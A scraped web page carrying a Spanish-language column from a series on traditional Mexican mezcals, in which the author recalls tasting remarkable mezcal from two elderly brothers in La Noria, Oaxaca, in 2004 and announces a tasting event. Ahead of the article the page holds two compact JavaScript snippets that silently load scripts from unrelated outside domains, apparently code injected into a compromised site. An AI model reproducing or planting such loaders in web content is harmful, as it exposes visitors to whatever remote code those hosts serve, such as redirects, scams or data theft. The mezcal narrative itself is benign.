;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Mezcales Tradicionales de los Pueblos de México » 51. Mezcal celebérrimo

51. Mezcal celebérrimo


En 2004 fui a La Noria, comunidad en la zona occidental del distrito de Ejutla, Oaxaca. Acompañaba a un equipo contratado por la CONABIO cuyo encargo era realizar un video sobre la diversidad de magueyes mezcaleros de México, y que complementaría el mapa Mezcales y diversidad (impreso.milenio.com/node/8771607).
Mientras los videoastas hacían su labor, fui a caminar por un arroyo y decidí atravesarlo, pues tras una cerca de carrizo divisé una casa, de donde provenía el aroma de maguey cocido recién salido del horno, señal inequívoca de estar cerca de un palenque o fábrica de mezcal. Golpeé la cerca como quien toca a la puerta, y salió un maravilloso viejito como de 80 y tantos años, quien con extrema delicadeza y sonrisa en la boca me preguntó qué quería. Respondí que, al percatarme que allí se hacía mezcal, sentí gran curiosidad por conocer a los dueños del palenque. Ya entrados en confianza, le pregunté si sería tan amable de convidarme una copita de mezcal.
Me invitó a pasar y me presentó a su hermano, de similar edad y vestimenta, compuesta de calzón y camisa de impecabilísima manta y huaraches de cuero con pata de gallo. El hermano arreaba un caballo que hacía girar la piedra del molino del maguey, tarea que realizaba con infinita calma y concentración: sin prisas.
De una minúscula botella me ofrecieron una copita, al tiempo que se disculparon por la escasez, ya que apenas estaban en proceso de elaborar más mezcal. Agradecí la extrema fineza y sorbí de la copa: no hay palabras que describan lo que probé. Excelso, soberbio o exquisito no dan cuenta de la grandeza del mezcal, aunque tal vez un refrán explique tal milagro: “de tal palo tal astilla”.
Me pregunto: ¿será que esa generación de maestros mezcalilleros pudo transmitir todo su conocimiento a la siguiente generación? ¿Estamos preparados y tenemos el talante para honrar y justipreciar ese legado y perfección?
Quien desee saborear 3 mezcales de Jalisco acuda el martes 30, 20 horas, a Red Fly: Orizaba 145, Roma, DF.
http://impreso.milenio.com/node/8872064

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